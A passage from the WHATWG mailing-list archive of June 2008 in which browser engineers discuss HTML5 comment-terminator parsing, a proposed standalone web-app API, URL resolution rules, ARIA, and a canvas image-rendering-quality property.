	<E3B5E1A6-C2FE-49F3-B289-FAD7E1602063@apple.com>
Message-ID: <7789133a0806271357v7437b3f1o69ee086b6fbee437@mail.gmail.com>

It looks like Mozilla is planning to change their behavior to match
the HTML5 spec in this regard.  See the patch in
<https://bugzilla.mozilla.org/show_bug.cgi?id=214476>.

Adam


On Fri, Jun 27, 2008 at 1:52 PM, Maciej Stachowiak <mjs at apple.com> wrote:
>
> On Jun 27, 2008, at 12:13 AM, Adam Barth wrote:
>
>> Ian explained to me on IRC that IE and Opera are consuming the entire
>> document as a comment and reparsing for > (i.e., --!> is not treated
>> specially).  That is supported by the following test case:
>>
>> http://crypto.stanford.edu/~abarth/research/html5/comments/bang-gt.html
>>
>> Safari and Firefox contain explicit code for detecting --!> (as
>> demonstrated by the above test case).  In Safari, the code was
>> introduced in
>>
>> http://trac.webkit.org/changeset/4103
>>
>> In Firefox, the code was introduced in
>>
>> https://bugzilla.mozilla.org/show_bug.cgi?id=110544
>>
>> As far as I can tell, neither checkin explains why this behavior was
>> added.
>
> Hyatt's comment on the WebKit checkin says it was to match other browsers
> (presumably Mozilla).
>
> Regards,
> Maciej
>
>>
>>
>> Adam
>>
>>
>> On Thu, Jun 26, 2008 at 10:30 PM, Adam Barth <whatwg at adambarth.com> wrote:
>>>
>>> Internet Explorer 7, Firefox 3, Safari 3.1, and Opera 9.5 accept --!>
>>> as an alternate comment terminator to the usual -->
>>>
>>>
>>> http://crypto.stanford.edu/~abarth/research/html5/comments/strange-ending.html
>>>
>>> In Internet Explorer 7 and Opera 9.5, if the document later contains
>>> the usual comment terminator, then that character sequence terminates
>>> the comment instead:
>>>
>>>
>>> http://crypto.stanford.edu/~abarth/research/html5/comments/strange-ending-with-real-ending.html
>>>
>>> http://crypto.stanford.edu/~abarth/research/html5/comments/strange-ending-with-later-comment.html
>>>
>>> Firefox 3 and Safari 3.1 do not appear to exhibit this behavior.
>>>
>>> (Interestingly, the syntax highlighter in vim suggests the document
>>> will be parsed as in Firefox and Safari, no doubt contributing to
>>> author confusion.)
>>>
>>> Adam
>>>
>
>


From beidson at apple.com  Fri Jun 27 14:04:45 2008
From: beidson at apple.com (Brady Eidson)
Date: Fri, 27 Jun 2008 14:04:45 -0700
Subject: [whatwg] Proposed additions to ClientInformation interface
Message-ID: <8DF933CB-F8F9-42C3-94EF-511FFB9986F3@apple.com>

One focus area for HTML5 has been to solidify the concept of "Web  
pages as Web Applications" and to introduce concepts to flesh out this  
new Web Application concept such as the application name, more  
flexible icons, offline data storage, and online/offline discovery.

There is one aspect to this notion of "Web Applications" that is being  
explored by multiple vendors but hasn't been explicitly addressed in  
HTML5 quite yet:  the "stand alone web application."
For the few among you unfamiliar with this idea, the concept is  
running a web application in a dedicated user agent that doesn't have  
the typical chrome, behavior, features, or footprint of a traditional  
browser.

In support of this new area of interest, I propose two new additions  
to the ClientInformation interface as follows:

First:  "readonly attribute boolean standalone;"

This is in the same vein as the window.navigator.onLine property which  
gives authors a great hint on how to change the behavior of their web  
application based on the existence of a network connection.  The  
standalone property would give web application developers a powerful  
hint as to whether or not they are running in a full browser or in a  
more minimalistic, dedicated user agent.  There's a number of things  
they might customize based on this situation such as look, feel, and  
available feature set.

I'd like us to try and avoid the user agent sniffing nightmare that is  
common on the web.  Currently a web application developer has to  
inspect the user agent and other nonstandard window.navigator  
properties to try to guess whether they're running in a full browser  
or a minimalistic interface.  Since this set of properties and user  
agents will keep changing over time, I think it's a prudent move to  
give scripts this simple flag as a future-proof way to make these  
powerful decisions.

Second:  "void makeStandalone();"

Web applications that have been fully designed to behave as stand  
alone applications should be able to announce this fact.   Currently  
web applications would have to state in their page that they are  
"standalone aware" and to instruct users on how they might go about  
creating a standalone version of the page.  I've seen and heard buzz  
that web authors would like a better way.

This is what the makeStandalone() call is about.  The intention behind  
the call is that the user agent would prompt the user about creating a  
standalone application from the current page.  Of course user agents  
would have full flexibility in how they respond to the call such as  
choosing to do nothing, prompting only once for a given domain or URL,  
or prompting only when the user prefers to be prompted.   I imagine  
most user agents would tie the workings of this method to a user  
action, much like popup blocking works currently, so the page could  
only enact the prompt when the user clicks on some control.  I just  
think it's quite valuable to get the tool out there for web  
applications to use.

The exact naming of this method call is up for debate, but I think my  
point is clear.

With my proposals, the ClientInformation interface would look as  
follows:

interface ClientInformation {
   readonly attribute boolean onLine;
   readonly attribute boolean standalone;
   void makeStandalone();
   void registerProtocolHandler(in DOMString protocol, in DOMString  
url, in DOMString title);
   void registerContentHandler(in DOMString mimeType, in DOMString  
url, in DOMString title);
};

Your thoughts?

~Brady Eidson


From ian at hixie.ch  Fri Jun 27 14:53:27 2008
From: ian at hixie.ch (Ian Hickson)
Date: Fri, 27 Jun 2008 21:53:27 +0000 (UTC)
Subject: [whatwg] Conformance requirements for IRIs
In-Reply-To: <FF8864C2-5542-460A-90C7-91BB02A2D152@iki.fi>
References: <FF8864C2-5542-460A-90C7-91BB02A2D152@iki.fi>
Message-ID: <Pine.LNX.4.62.0806272152360.17498@hixie.dreamhostps.com>

On Mon, 17 Apr 2006, Henri Sivonen wrote:
>
> In WA 1.0 and WF 2.0 some values are required to be IRIs and some values 
> are required to be IRI references. I'm confused about what exactly this 
> means in terms of conformance checking. (WF 2.0 does say something about 
> processing in a browser, though.) [...]
> 
> I'd appreciate some guidance on which enforcement options to use. (E.g. 
> should knowledge of the http scheme used? Should security issues be 
> flagged as non-conforming? Should "SHOULD" violations be flagged as 
> non-conforming? Etc.)

I've tried to make this clear in the spec, but to some extent what's valid 
or not is out of scope of HTML5 itself. What can I do to help more?

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From ian at hixie.ch  Fri Jun 27 15:02:29 2008
From: ian at hixie.ch (Ian Hickson)
Date: Fri, 27 Jun 2008 22:02:29 +0000 (UTC)
Subject: [whatwg] Unresolvable hyperlinks
In-Reply-To: <op.toiigc2n64w2qv@id-c0020.driveway.uu.nl>
References: <op.toiigc2n64w2qv@id-c0020.driveway.uu.nl>
Message-ID: <Pine.LNX.4.62.0806272157390.17498@hixie.dreamhostps.com>

On Thu, 1 Mar 2007, Anne van Kesteren wrote:
>
> Should the specification say what happens when a user agent can't 
> resolve a hyperlink.

This is now defined (though let me know if you can work out exactly how, 
because it's rather convoluted and I may have made a mistake).


> For example, take the following resource:
> 
>   data:text/html,<a href="foo">bar</a>
>
> It also seems user agents treat the following resource differently:
> 
>   data:text/html,<a href="%23x">foo</a><p style=margin-top:120%><b
>   id=x>bar</b></p>
>
> (I would expect this one to work as it does in Opera 9...)
> 
> I should fine some time to do some more testing with same-document 
> references I guess...

These examples seem like RFC3986 issues to me, I'm not sure there's 
anything missing in HTML5 at this point that would prevent these from 
"working" assuming that 3986 is clear about how to resolve those URLs 
(which I'm not sure it is).

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From ian at hixie.ch  Fri Jun 27 15:06:59 2008
From: ian at hixie.ch (Ian Hickson)
Date: Fri, 27 Jun 2008 22:06:59 +0000 (UTC)
Subject: [whatwg] several messages about URLs
In-Reply-To: <0ggiv2509hsrdms0mnlmoblnea4og83js3@hive.bjoern.hoehrmann.de>
References: <20070313232952.GA28312@ridley.dbaron.org>
	<Pine.LNX.4.64.0703141514430.25315@peter.oslo.opera.com>
	<20070314185747.GA6233@ridley.dbaron.org>
	<ashgv2pou177aqga8h0nhhku6329kba6d5@hive.bjoern.hoehrmann.de>
	<20070314200432.GA7168@ridley.dbaron.org>
	<Pine.LNX.4.64.0703150907400.21397@peter.oslo.opera.com>
	<0ggiv2509hsrdms0mnlmoblnea4og83js3@hive.bjoern.hoehrmann.de>
Message-ID: <Pine.LNX.4.62.0806272202470.17498@hixie.dreamhostps.com>

On Tue, 13 Mar 2007, L. David Baron wrote:
>
> The wording of the value of href for base elements [1] is not quite the 
> same as the wording for anchor elements [2], and technically [3] that 
> wording allows only absolute URIs.  They should probably both say they 
> allow URI references (or IRI references), and the former should probably 
> say "be" or "equal" rather than the rather vague "contain".  (I suspect 
> there are similar problems elsewhere.)
> 
> Or, if you don't like using the term "URI reference" everywhere (which 
> may be worth avoiding), you should at least explain your usage in the 
> Terminology section with reference to terms defined in the URI/IRI RFCs.

I've done a huge rewrite of everything URL-related now which should 
resolve all these issues and make everything consistent and (hopefully) 
realistic.


On Tue, 13 Mar 2007, L. David Baron wrote:
>
> http://www.whatwg.org/specs/web-apps/current-work/#terminology says:
>   # For readability, the term URI is used to refer to both ASCII 
>   # URIs and Unicode IRIs, as those terms are defined by [RFC3986]
>   # and [RFC3987]  respectively. On the rare occasions where IRIs 
>   # are not allowed but ASCII URIs are, this is called out
>   # explicitly.
> This is rather misleading, since backwards compatible use of URIs is
> not ASCII-only.  While IRIs are a superset of conformant URIs, IRIs
> are a subset of real-world-URIs, since they have the encoding fixed
> to UTF-8.  Backwards-compatible URI handling tries to send the same
> sequence of bytes that was in the document back to the server,
> percent-encoded byte-by-byte, by encoding the URI based on the
> encoding of the document.

It's mildly more complicated than that, it seems, since path components 
always seem to use UTF-8 and query components use the doc encoding, but in 
any case, the spec now specified this.


On Wed, 14 Mar 2007, Peter Karlsson wrote:
> 
> Indeed. Considering the number of partly contradicting bug reports we 
> have here at Opera on the issue, it would be nice to have it clearly 
> spelled out, so that everyone is doing the same thing, and that we are 
> doing what the user expects.

Please let me know if the spec, as it stands, is acceptable.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From ian at hixie.ch  Fri Jun 27 16:25:18 2008
From: ian at hixie.ch (Ian Hickson)
Date: Fri, 27 Jun 2008 23:25:18 +0000 (UTC)
Subject: [whatwg] IE/Win treats backslashes in path as forward slashes
In-Reply-To: <6b9c91b20704111607k73672aabu249c599abe8142a8@mail.gmail.com>
References: <2AC266DE-7EB9-4DF9-A69F-C02A630D9DC8@googlemail.com>
	<op.tqm1wmb44suneb@g5.local>
	<6b9c91b20704111607k73672aabu249c599abe8142a8@mail.gmail.com>
Message-ID: <Pine.LNX.4.62.0806272303480.17498@hixie.dreamhostps.com>

On Wed, 11 Apr 2007, Geoffrey Sneddon wrote:
>
> Looking through the spec again, there is nothing about backslashes in 
> URI's path being treated as a forward slash, behaviour needed for 
> compatibility for quite a few websites.

On Wed, 11 Apr 2007, Gervase Markham wrote:
> 
> I would be rather surprised if that were true, given that Firefox 
> doesn't do it and I've never come across a website which broke for that 
> reason. But maybe I live a sheltered life.

On Wed, 11 Apr 2007, Bill Mason wrote:
> 
> It's not that unheard of, though I wouldn't say it's rampant.  Just a 
> quick search on bugzilla.mozilla.org [1] produces some samples.
> 
> Admittedly most of these bugs are old. However the newest one is from 
> January 2007, so the problem still crops up.
> 
> [1] http://tinyurl.com/2evdox

There are quite a few of these, even more if you start looking further in. 
In fact this bug:

   https://bugzilla.mozilla.org/show_bug.cgi?id=64488

...has 49 duplicates just to itself.


I've added a postprocessing step to the URL resolving algorithm that 
concerts all \ characters into / characters.


On Wed, 11 Apr 2007, Maciej Stachowiak wrote:
> 
> Besides the backslash thing, there are a number of URI processing rules 
> that browsers must follow for web compatibility which are either not 
> required by or directly contradictory to the URI RFCs. Documenting these 
> and fixing the relevant RFCs would be a valuable goal, but possibly 
> beyond the scope of WHATWG.

Could you elaborate on this?


On Thu, 12 Apr 2007, Julian Reschke wrote:
> 
> It seems to me that at least this thread does not point out bugs in 
> RFC3986 or RFC3987, but problems in user agents that do not follow these 
> specs. Or stated otherwise: in reality, URIs in HTML documents are not 
> RFC-compliant URIs or IRIs, but something else. It's up to the working 
> group to either deprecate these kinds of references, or to specify how 
> they should be handled.

Done.


On Wed, 11 Apr 2007, Michael A. Puls II wrote:
> 
> However, we can't specify this for all URIs (just saying). Flipping raw 
> backslashes (even though they should really be encoded) in <a 
> href="mailto:uridata"> for example, should not be done.
> 
> If we do specify this, we have to be more specific than "path" because 
> 'path' does not necessarily mean URI.

Ok, done.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From shadow2531 at gmail.com  Fri Jun 27 17:37:00 2008
From: shadow2531 at gmail.com (Michael A. Puls II)
Date: Fri, 27 Jun 2008 20:37:00 -0400
Subject: [whatwg] IE/Win treats backslashes in path as forward slashes
In-Reply-To: <Pine.LNX.4.62.0806272303480.17498@hixie.dreamhostps.com>
References: <2AC266DE-7EB9-4DF9-A69F-C02A630D9DC8@googlemail.com>
	<op.tqm1wmb44suneb@g5.local>
	<6b9c91b20704111607k73672aabu249c599abe8142a8@mail.gmail.com>
	<Pine.LNX.4.62.0806272303480.17498@hixie.dreamhostps.com>
Message-ID: <6b9c91b20806271736i7bda9a99i806cb44344a104a2@mail.gmail.com>

On 6/27/08, Ian Hickson <ian at hixie.ch> wrote:
>  On Wed, 11 Apr 2007, Michael A. Puls II wrote:
>  >
>  > However, we can't specify this for all URIs (just saying). Flipping raw
>  > backslashes (even though they should really be encoded) in <a
>  > href="mailto:uridata"> for example, should not be done.
>  >
>  > If we do specify this, we have to be more specific than "path" because
>  > 'path' does not necessarily mean URI.
>
>  Ok, done.

Awesome! Thanks

-- 
Michael


From aaronlev at moonset.net  Mon Jun 30 01:26:39 2008
From: aaronlev at moonset.net (Aaron Leventhal)
Date: Mon, 30 Jun 2008 10:26:39 +0200
Subject: [whatwg] ARIA
In-Reply-To: <47C73BD9.10705@dmh.org.uk>
References: <30275652.1042981204234320774.JavaMail.servlet@perfora>
	<47C73BD9.10705@dmh.org.uk>
Message-ID: <486898BF.2050909@moonset.net>


> I don't know if you've seen the recent Accessible Rich Internet 
> Applications <http://www.w3.org/TR/wai-aria/> draft?  (There's also a 
> primer at <http://www.w3.org/TR/wai-aria-primer/>.)  It describes a 
> number of standard states that can be added to custom controls.  
> Rather than potentially fitting multiple values into a reldata 
> attribute, it defines a host of attributes beginning with "aria-".  
> Example:
>
> <span role="checkbox" aria-checked="true">Foo</span>
>
> I believe a number of script libraries (Dojo for example) plan on 
> supporting ARIA.  Firefox has some ARIA support already.
Thanks for pointing to WAI-ARIA. Just to clarify the status, both Dojo's 
Dijit library and Firefox 3 fully supports the current draft on both 
Windows and Linux. There are still being tweaks made in screen readers 
to support the outer edges of the ARIA widget semantics as well as ARIA 
live regions (for areas of the page that change but are not really 
widgets, such as an updating scoreboard).
More info on who is working on ARIA support in the FAQ here:
http://developer.mozilla.org/en/docs/ARIA:_Accessible_Rich_Internet_Applications/Relationship_to_HTML_FAQ#Who_supports_ARIA.3F

- Aaron

>
> The current HTML 5 draft doesn't mention ARIA anywhere.  Perhaps it 
> should clarify the relationship (or non-relationship as it is at 
> present), even if it's only a brief mention in section 1.1.
>
> Regards,
>
> Dave
>
>




From vladimir at pobox.com  Mon Jun 30 16:14:52 2008
From: vladimir at pobox.com (Vladimir Vukicevic)
Date: Mon, 30 Jun 2008 16:14:52 -0700
Subject: [whatwg] [canvas] imageRenderingQuality property
In-Reply-To: <Pine.LNX.4.62.0806111017060.8559@hixie.dreamhostps.com>
References: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>
	<08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>
	<24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>
	<E0624F2C-7A41-4384-828E-BCC7DC77A9B7@apple.com>
	<11e306600806021519h55955cd2v99b8139cf9e949c6@mail.gmail.com>
	<AFE6C8A6-00C0-4CA2-92DD-96EAA4886700@apple.com>
	<82c3f5040806030709n7a2317dcxa66a358b7969161e@mail.gmail.com>
	<Pine.LNX.4.62.0806111017060.8559@hixie.dreamhostps.com>
Message-ID: <574B0E6E-514B-42A3-97C8-B00FC3BC7C41@pobox.com>


On Jun 11, 2008, at 3:34 AM, Ian Hickson wrote:

> On Mon, 2 Jun 2008, Vladimir Vukicevic wrote:
>>
>> I'd like to propose adding an imageRenderingQuality property on the
>> canvas 2D context to allow authors to choose speed vs. quality when
>> rendering images (especially transformed ones).
>
> How can an author know which is appropriate?

Erm, presumably because they're the author -- it seems quite valid to  
for an author to be able to say "Just make this happen quickly, I  
don't care about the quality" or "Take extra time to make this the  
highest quality you can".

    - Vlad



From ian at hixie.ch  Mon Jun 30 16:30:41 2008
From: ian at hixie.ch (Ian Hickson)
Date: Mon, 30 Jun 2008 23:30:41 +0000 (UTC)
Subject: [whatwg] [canvas] imageRenderingQuality property
In-Reply-To: <574B0E6E-514B-42A3-97C8-B00FC3BC7C41@pobox.com>
References: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>
	<08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>
	<24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>
	<E0624F2C-7A41-4384-828E-BCC7DC77A9B7@apple.com>
	<11e306600806021519h55955cd2v99b8139cf9e949c6@mail.gmail.com>
	<AFE6C8A6-00C0-4CA2-92DD-96EAA4886700@apple.com>
	<82c3f5040806030709n7a2317dcxa66a358b7969161e@mail.gmail.com>
	<Pine.LNX.4.62.0806111017060.8559@hixie.dreamhostps.com>
	<574B0E6E-514B-42A3-97C8-B00FC3BC7C41@pobox.com>
Message-ID: <Pine.LNX.4.62.0806302319180.13974@hixie.dreamhostps.com>

On Mon, 30 Jun 2008, Vladimir Vukicevic wrote:
> On Jun 11, 2008, at 3:34 AM, Ian Hickson wrote:
> > On Mon, 2 Jun 2008, Vladimir Vukicevic wrote:
> > > 
> > > I'd like to propose adding an imageRenderingQuality property on the 
> > > canvas 2D context to allow authors to choose speed vs. quality when 
> > > rendering images (especially transformed ones).
> > 
> > How can an author know which is appropriate?
> 
> Erm, presumably because they're the author -- it seems quite valid to 
> for an author to be able to say "Just make this happen quickly, I don't 
> care about the quality" or "Take extra time to make this the highest 
> quality you can".

But which of those to pick depends on the hardware at least as much as the 
complexity of the drawing code, as has been noted before.

This table shows what the author would want to pick for a given page:

   2008:                   2008 desktop    2008 mobile
      Complex Graphics     high-quality    high-speed
      Simple Graphics      high-quality    high-quality

   2012:                   2012 desktop    2012 mobile    2008 desktop
      2018-era Graphics    high-quality    high-speed     high-speed
      Complex Graphics     high-quality    high-quality   high-quality
      Simple Graphics      high-quality    high-quality   high-quality

This table shows the same thing again, but this time the desktop machine 
is also doing a massive high-CPU job in the background:

   2008:                   2008 desktop    2008 mobile
      Complex Graphics     high-speed      high-speed
      Simple Graphics      high-speed      high-quality

   2012:                   2012 desktop    2012 mobile    2008 desktop
      2018-era Graphics    high-speed      high-speed     high-speed
      Complex Graphics     high-speed      high-quality   high-speed
      Simple Graphics      high-quality    high-quality   high-speed

How can the author possibly know what the right answer is?

It seems better for the browser to simply detect when the graphics burden 
being placed on the hardware by the page is too much to be done at high 
quality given the current load on the CPU, and for the browser to 
automatically drop down to a lower fidelity, higher speed rendering on the 
fly when appropriate.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From lists07 at wiltgen.net  Mon Jun 30 16:52:02 2008
From: lists07 at wiltgen.net (Charles)
Date: Mon, 30 Jun 2008 16:52:02 -0700
Subject: [whatwg] [canvas] imageRenderingQuality property
In-Reply-To: <574B0E6E-514B-42A3-97C8-B00FC3BC7C41@pobox.com>
References: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>	<08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>	<24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>	<E0624F2C-7A41-4384-828E-BCC7DC77A9B7@apple.com>	<11e306600806021519h55955cd2v99b8139cf9e949c6@mail.gmail.com>	<AFE6C8A6-00C0-4CA2-92DD-96EAA4886700@apple.com>	<82c3f5040806030709n7a2317dcxa66a358b7969161e@mail.gmail.com>	<Pine.LNX.4.62.0806111017060.8559@hixie.dreamhostps.com>
	<574B0E6E-514B-42A3-97C8-B00FC3BC7C41@pobox.com>
Message-ID: <187e01c8db0c$4c1e16f0$e45a44d0$@net>

>> How can an author know which is appropriate?
>
> Erm, presumably because they're the author -- it seems quite valid
> to for an author to be able to say "Just make this happen quickly, I  
> don't care about the quality" or "Take extra time to make this the  
> highest quality you can".

No problem, all you have to do is define:

- "this"
- "happen"
- "quickly"
- "quality"
- "extra time"
- "highest"

Of course the hard bit is that these change for every content developer,
often per-platform.

-- Charles




From mark.finkle at gmail.com  Mon Jun 30 16:55:33 2008
From: mark.finkle at gmail.com (Mark Finkle)
Date: Mon, 30 Jun 2008 19:55:33 -0400
Subject: [whatwg] [canvas] imageRenderingQuality property
In-Reply-To: <Pine.LNX.4.62.0806302319180.13974@hixie.dreamhostps.com>
References: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>
	<08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>
	<24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>
	<E0624F2C-7A41-4384-828E-BCC7DC77A9B7@apple.com>
	<11e306600806021519h55955cd2v99b8139cf9e949c6@mail.gmail.com>
	<AFE6C8A6-00C0-4CA2-92DD-96EAA4886700@apple.com>
	<82c3f5040806030709n7a2317dcxa66a358b7969161e@mail.gmail.com>
	<Pine.LNX.4.62.0806111017060.8559@hixie.dreamhostps.com>
	<574B0E6E-514B-42A3-97C8-B00FC3BC7C41@pobox.com>
	<Pine.LNX.4.62.0806302319180.13974@hixie.dreamhostps.com>
Message-ID: <8e61feeb0806301655o51f68d62s6aa28fbd04ca946b@mail.gmail.com>

On Mon, Jun 30, 2008 at 7:30 PM, Ian Hickson <ian at hixie.ch> wrote:

> On Mon, 30 Jun 2008, Vladimir Vukicevic wrote:
> > On Jun 11, 2008, at 3:34 AM, Ian Hickson wrote:
> > > On Mon, 2 Jun 2008, Vladimir Vukicevic wrote:
> > > >
> > > > I'd like to propose adding an imageRenderingQuality property on the
> > > > canvas 2D context to allow authors to choose speed vs. quality when
> > > > rendering images (especially transformed ones).
> > >
> > > How can an author know which is appropriate?
> >
> > Erm, presumably because they're the author -- it seems quite valid to
> > for an author to be able to say "Just make this happen quickly, I don't
> > care about the quality" or "Take extra time to make this the highest
> > quality you can".
>
> It seems better for the browser to simply detect when the graphics burden
> being placed on the hardware by the page is too much to be done at high
> quality given the current load on the CPU, and for the browser to
> automatically drop down to a lower fidelity, higher speed rendering on the
> fly when appropriate.
>

So now we need to define levels of graphic burden? and at what level of
burden does the quality suffer? Seems just as hard to define. Having the
author explicit say "this has to be as high quality as possible" or "less
can be low quality" seems better and we have examples of other specs
offering the same kind of control.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080630/3619f0b3/attachment.htm>

From oliver at apple.com  Mon Jun 30 16:56:04 2008
From: oliver at apple.com (Oliver Hunt)
Date: Mon, 30 Jun 2008 16:56:04 -0700
Subject: [whatwg] [canvas] imageRenderingQuality property
In-Reply-To: <574B0E6E-514B-42A3-97C8-B00FC3BC7C41@pobox.com>
References: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>
	<08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>
	<24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>
	<E0624F2C-7A41-4384-828E-BCC7DC77A9B7@apple.com>
	<11e306600806021519h55955cd2v99b8139cf9e949c6@mail.gmail.com>
	<AFE6C8A6-00C0-4CA2-92DD-96EAA4886700@apple.com>
	<82c3f5040806030709n7a2317dcxa66a358b7969161e@mail.gmail.com>
	<Pine.LNX.4.62.0806111017060.8559@hixie.dreamhostps.com>
	<574B0E6E-514B-42A3-97C8-B00FC3BC7C41@pobox.com>
Message-ID: <670AAA6D-DD2F-448C-A76D-C7ED5C89D227@apple.com>


On Jun 30, 2008, at 4:14 PM, Vladimir Vukicevic wrote:

>
> On Jun 11, 2008, at 3:34 AM, Ian Hickson wrote:
>
>> On Mon, 2 Jun 2008, Vladimir Vukicevic wrote:
>>>
>>> I'd like to propose adding an imageRenderingQuality property on the
>>> canvas 2D context to allow authors to choose speed vs. quality when
>>> rendering images (especially transformed ones).
>>
>> How can an author know which is appropriate?
>
> Erm, presumably because they're the author -- it seems quite valid  
> to for an author to be able to say "Just make this happen quickly, I  
> don't care about the quality" or "Take extra time to make this the  
> highest quality you can".

Yes they are the author, but the user is the person actually using the  
content and history shows that the author will make such decisions  
based on how *their* machine works.  Even if they try to test on other  
platforms/UAs, you cannot expect them to test the entire gamut from  
handheld device through to multicore workstations, and then expect  
them to update their site every 18 months to allow for the increased  
processing power.  The alternative option, is to have the UA detect  
when a site is attempting to do the kinds of updates that would result  
in performance problems and make appropriate decisions to improve the  
performance (eg. reducing image scaling quality).

The adjusting UA option has numerous advantages -- it does not require  
the developer to tests 1000s of different devices; it doesn't require  
the developer to update their content every few months; it allows the  
UA to make performance decisions based on the actual hardware and  
resources available to it at runtime (eg. allowing it to reduce  
quality on low powered devices); Improvements in UA performance can  
immediately result in improved quality, without the developer updating  
the site; Quality is not unnecessarily lowered in newer/faster UAs  
just because the developer made decisions based on an older/slower UA.

Their are disadvantages -- the UA implementation complexity may be  
increased, quality may be reduced even when not desired by the  
developer.  The first of these issues is to me a non-issue, in a  
choice between making the UA implementation more complex (which  
happens once per UA) vs. increasing the workload on the developer for  
each site in which they use canvas (which may happen 100s or 1000s of  
times per developer), increasing UA complexity seems the obvious choice.
The second issue is more difficult, and i don't have any immediate  
solution -- you *could* have a flag which forced the UA to always use  
its highest quality level (which is a noop on current UAs as far as i  
am aware), but to me it seems that that would merely result in the  
poor behaviour on low powered devices that the developer did not  
consider.

Finally, in general my experience suggests that if you have such a  
flag the developers will end up being split into three groups, those  
who *always* specify "fastest", those who always specify "highest  
quality", and those who never use the flag at all.  I would also not  
expect this flag to be used on the basis of any kind of performance or  
quality testing, based on what they perceive to be most important,  
regardless as to whether their code actually had any performance  
issues. (Yes, there will be a few developers who do perf test, etc,  
and try to make good decisions, but i would expect them to represent a  
very small minority of developers)

--Oliver

>
>   - Vlad
>



From excors+whatwg at gmail.com  Mon Jun 30 17:04:49 2008
From: excors+whatwg at gmail.com (Philip Taylor)
Date: Tue, 1 Jul 2008 01:04:49 +0100
Subject: [whatwg] [canvas] imageRenderingQuality property
In-Reply-To: <Pine.LNX.4.62.0806302319180.13974@hixie.dreamhostps.com>
References: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>
	<08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>
	<24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>
	<E0624F2C-7A41-4384-828E-BCC7DC77A9B7@apple.com>
	<11e306600806021519h55955cd2v99b8139cf9e949c6@mail.gmail.com>
	<AFE6C8A6-00C0-4CA2-92DD-96EAA4886700@apple.com>
	<82c3f5040806030709n7a2317dcxa66a358b7969161e@mail.gmail.com>
	<Pine.LNX.4.62.0806111017060.8559@hixie.dreamhostps.com>
	<574B0E6E-514B-42A3-97C8-B00FC3BC7C41@pobox.com>
	<Pine.LNX.4.62.0806302319180.13974@hixie.dreamhostps.com>
Message-ID: <ea09c0d10806301704y7a77c6c1ha209fa260c4785cb@mail.gmail.com>

On 01/07/2008, Ian Hickson <ian at hixie.ch> wrote:
> [...]
>  It seems better for the browser to simply detect when the graphics burden
>  being placed on the hardware by the page is too much to be done at high
>  quality given the current load on the CPU, and for the browser to
>  automatically drop down to a lower fidelity, higher speed rendering on the
>  fly when appropriate.

Sometimes the author will want to force best-quality rendering,
regardless of the performance impact. E.g. a photo manipulation
application might let you resize a segment of a photo, displaying a
live preview (where performance is more important than quality), and
then render the final resized image and store it in a canvas for
future processing. That final rendering needs to be the best possible
quality, so it's not acceptable for the browser to decide that it
should semi-randomly drop the quality because it detected the live
preview was CPU-intensive.

Similarly, a pseudo-3d FPS game might load textures at runtime and
perform some preprocessing (like resizing to be square, and rendering
lots of smaller copies to be used as mipmaps for distant walls so they
look prettier), and then draw that processed texture into the game
thousands of times a second. Since the preprocessing is only done
once, and its result is reused for the whole of the rest of the game,
it should be done at the highest possible quality, regardless of
performance.

So, adaptively reducing the quality and allowing no author control
seems like a bad idea.

Perhaps the imageRenderingQuality property could have values 'high'
and 'auto', where the default is 'high' (so that existing content
continues working the same as it always has, and to avoid surprising
authors by randomly switching the rendering quality when they have no
reason to expect such weird behaviour), and 'auto' means 'low (but
perhaps switch to high if the browser thinks it's going to be fast
enough)'. That would avoid the issue of authors setting quality='low'
and preventing high-speed users from getting the best quality output.

-- 
Philip Taylor
excors at gmail.com


From oliver at apple.com  Mon Jun 30 17:18:29 2008
From: oliver at apple.com (Oliver Hunt)
Date: Mon, 30 Jun 2008 17:18:29 -0700
Subject: [whatwg] [canvas] imageRenderingQuality property
In-Reply-To: <8e61feeb0806301655o51f68d62s6aa28fbd04ca946b@mail.gmail.com>
References: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>
	<08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>
	<24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>
	<E0624F2C-7A41-4384-828E-BCC7DC77A9B7@apple.com>
